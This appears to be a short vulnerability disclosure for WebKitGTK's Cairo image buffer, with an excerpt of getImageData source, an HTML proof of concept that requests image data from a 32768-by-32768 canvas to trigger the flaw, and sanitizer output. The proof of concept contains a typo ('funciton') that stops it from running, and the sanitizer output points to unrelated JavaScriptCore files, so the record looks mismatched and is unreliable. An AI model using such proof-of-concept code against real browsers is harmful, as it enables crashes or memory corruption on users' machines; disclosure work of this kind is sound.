Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):
template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
{
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
return nullptr;
//...
<html>
<head>
<script>
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
}
</script>
</head>
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
</body>
</html>
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error:
call to function (unknown) through pointer to incorrect function type
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error:
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t'
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
00 00 28 66 75 6e 63 74 69 6f 6e 20 28 74 68 69 73 56 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74
^
Recommended Comments